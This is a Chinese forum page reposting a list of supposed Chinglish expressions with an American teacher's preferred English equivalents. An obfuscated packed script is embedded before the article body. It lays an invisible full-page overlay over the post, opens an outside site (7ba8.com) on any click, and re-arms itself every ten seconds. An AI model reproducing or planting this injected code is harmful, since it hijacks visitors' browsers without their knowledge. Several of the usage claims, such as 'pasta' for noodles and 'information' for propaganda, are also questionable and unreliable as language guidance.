滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛

标题: 那些你自以为很地道的“Chinglish” [打印本页]

作者: 格子床单    时间: 2012-4-1 07:49
标题: 那些你自以为很地道的“Chinglish”
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>在很多地方,经常可以看到有关Chinglish(中式英语)的文章,但一般都是中国人写的。不过我看到一篇长文,也是有关Chinglish的,但却是美国人写的,很有意思。这篇长文的标题是Chinglish 2 English(从中式英语到标准英语),作者是浙江大学的美国外教Chuck Allanson,内容则是Chuck在中国五年任教期间所听到、所看到的各种Chinglish说法。
  比如Chuck第一次来中国,下飞机后,负责接待他的东北某大学英语系陈老师说:您刚到,我们吃点饭吧。我们要点Chinese dumpling(饺子)和Chinese beancurd(豆腐),您看可以吗?Chuck以前从未听说过这两种东西,但出于好奇,就说可以,结果饭菜端上来一看,原来就是ravioli(饺子,来自意大利语)和tofu(豆腐,来自日语)。Chuck当时心里暗想,这两种东西,国际上早已经有通用的说法(ravioli和tofu),他们中国人为什么还要用那种生僻的说法呢?以后Chuck跟陈先生混熟了,就问他,当初你为什么不说ravioli和tofu呢?陈先生听了大吃一惊,连忙解释说,我真的不知道这两个词,而且我们的《英汉词典》上也没有这两个词。
  于是Chuck开始意识到,中国的英语教师、英语课本、甚至英语词典肯定存在问题,否则不可能发生这种事情。在中国五年的任教期间,Chuck收集了大量的Chinglish说法,从中挑选出一组最常见的,编写了上面提到的那篇长文。下面就是这些Chinglish说法,其中每行第一部分是汉语说法,第二部分是Chinglish说法,第三部分则是英语的标准说法。
  ① 欢迎你到... ② welcome you to ... ③ welcome to .。。
  ① 永远记住你 ② remember you forever ③ always remember you(没有人能活到forever)
  ① 祝你有个... ② wish you have a ... ③ I wish you a .。。
  ① 给你 ② give you ③ here you are
  ① 很喜欢... ② very like ... ③ like ... very much
  ① 黄头发 ② yellow hair ③ blond/blonde(西方人没有yellow hair的说法)
  ① 厕所 ② WC ③ men's room/women's room/restroom
  ① 真遗憾 ② it's a pity ③ that's too bad/it's a shame(it's a pity说法太老)
  ① 裤子 ② trousers ③ pants/slacks/jeans
  ① 修理 ② mend ③ fix/repair
  ① 入口 ② way in ③ entrance
  ① 出口 ② way out ③ exit(way out在口语中是crazy的意思)
  ① 勤奋 ② diligent ③ hardworking/studious/conscientious
  ① 应该 ② should ③ must/shall
  ① 火锅 ② chafing dish ③ hot pot
  ① 大厦 ② mansion ③ center/plaza
  ① 马马虎虎 ② so-so ③ average/fair/all right/not too bad/OK(西方人很少使用so-so)
  ① 好吃 ② delicious ③ good/nice/tasty/appetizing(delicious在中国被滥用)
  ① 尽我最大努力 ② try my best ③ try/strive(try的本意就是try my best)
  ① 有名 ② famous ③ well-known/renowned/legendary/popular(famous在中国被滥用)
  ① 滑稽 ② humorous ③ funny/witty/amusing/entertaining
  ① 欺骗 ② to cheat ③ to trick/to play a joke on/to con/to deceive/to rip off
  ① 车门 ② the door of the car ③ the car's door
  ① 怎么拼? ② how to spell? ③ how do you spell?
  ① 再见 ② bye-bye ③ bye/see you/see you later/later(bye-bye有些孩子气)
  ① 玩 ② play ③ go to/do(play在中国被滥用)
  ① 面条 ② noodles ③ pasta(noodles有些孩子气)
  ① 据说 ② it is said ③ I heard/I read/I was told
  ① 等等 ② and so on ③ etc。
  ① 直到现在 ② till now ③ recently/lately/thus far
  ① 农民 ② peasant ③ farmer
  ① 宣传 ② propaganda ③ information




欢迎光临 滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛 (https://nearther.cn/) Powered by Discuz! X3.2